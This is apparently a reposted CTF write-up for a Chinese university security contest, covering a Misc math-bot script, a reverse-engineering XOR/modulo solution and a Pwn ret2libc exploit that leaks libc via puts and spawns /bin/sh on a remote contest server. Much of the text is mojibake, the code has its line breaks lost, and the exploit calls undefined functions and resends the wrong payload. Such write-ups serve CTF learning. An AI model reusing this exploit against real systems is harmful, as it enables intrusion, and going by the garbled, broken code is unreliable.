广东外语外贸大学第三届网络安全大赛Writeup
发布日期:2021-05-12 20:19:13 浏览次数:6 分类:精选文章

本文共 2393 字,大约阅读时间需要 7 分钟。

��������������������������������������������������� Writeup

Msic

������������������������������������������������������������������������������������150������������������������������������������������������������������������������������������������������������

���������������

from pwn import *context.log_level = 'debug'p = remote("183.129.189.60", 10034)n = 0while n < 150:    p.recvuntil("Math problem: ")    math = p.recvuntil("=")[:-2]    p.sendline(str(eval(math)))    sleep(1)    n += 1else:    p.sendline("cat flag")

RE

��������������������������������� Python ���������������������������������������������������������������������

���������������

��������������������� Easy Python Decompiler������������������������������������ Python ������������������������������������������������������

  • ���������������

    num = ((input1[i] + i) % 128 + 128) % 128
    ������������
    (input1[i] + i) % 128

  • ���������������

    ���������������������������������������������������������������������������������������������

  • ���������������������

    a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']l = len(a)la = map(ord, a)for i in range(l-1, 0, -1):    a[i-1] = a[i-1] ^ a[i]code = ''for i in range(l):    num = (a[i] - i) % 128    code += chr(num)print(code)

    Pwn

    ������������������������������������������������������������������������������������������������������������������yz������������������������

    ���������������

    ������ ��������� ������ I ������������������ EIP ��������������������� ������������������� GDB attache ������ debugger ������ PERSYSTEMHERE ������������������������ payload trigger /bin/sh ���������

    ������EXP���

    # coding:utf-8from pwn import *context.log_level = 'debug'elf = ELF('./easy_pwn')local = 0if local:    p = process('./easy_pwn')    libc = elf.libcelse:    p = remote("183.129.189.60", "10025")    libc = ELF('./libc6-i386_2.23.so')main = 0x80492F5def sda(a, s):    return p.sendafter(a, s)def sla(a, s):    return p.sendlineafter(a, s)def rc(s):    return p.recv(s)def ru(s):    return p.recvuntil(s)pay = 'I' * 0x10pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])sl(pay)ru('\n')puts_addr = u32(rc(4))libc_base = puts_addr - libc.symbols['puts']system = libc_base + libc.symbols['system']binsh = libc_base + libc.search("/bin/sh\x00").next()harray();sla(pay)p.interactive()
    上一篇:图书信息管理系统--C语言程序设计实训作业
    下一篇:i春秋CTF答题赛(第三季)WriteUp

    发表评论

    最新留言

    表示我来过!
    [***.240.166.169]2025年04月15日 00时10分37秒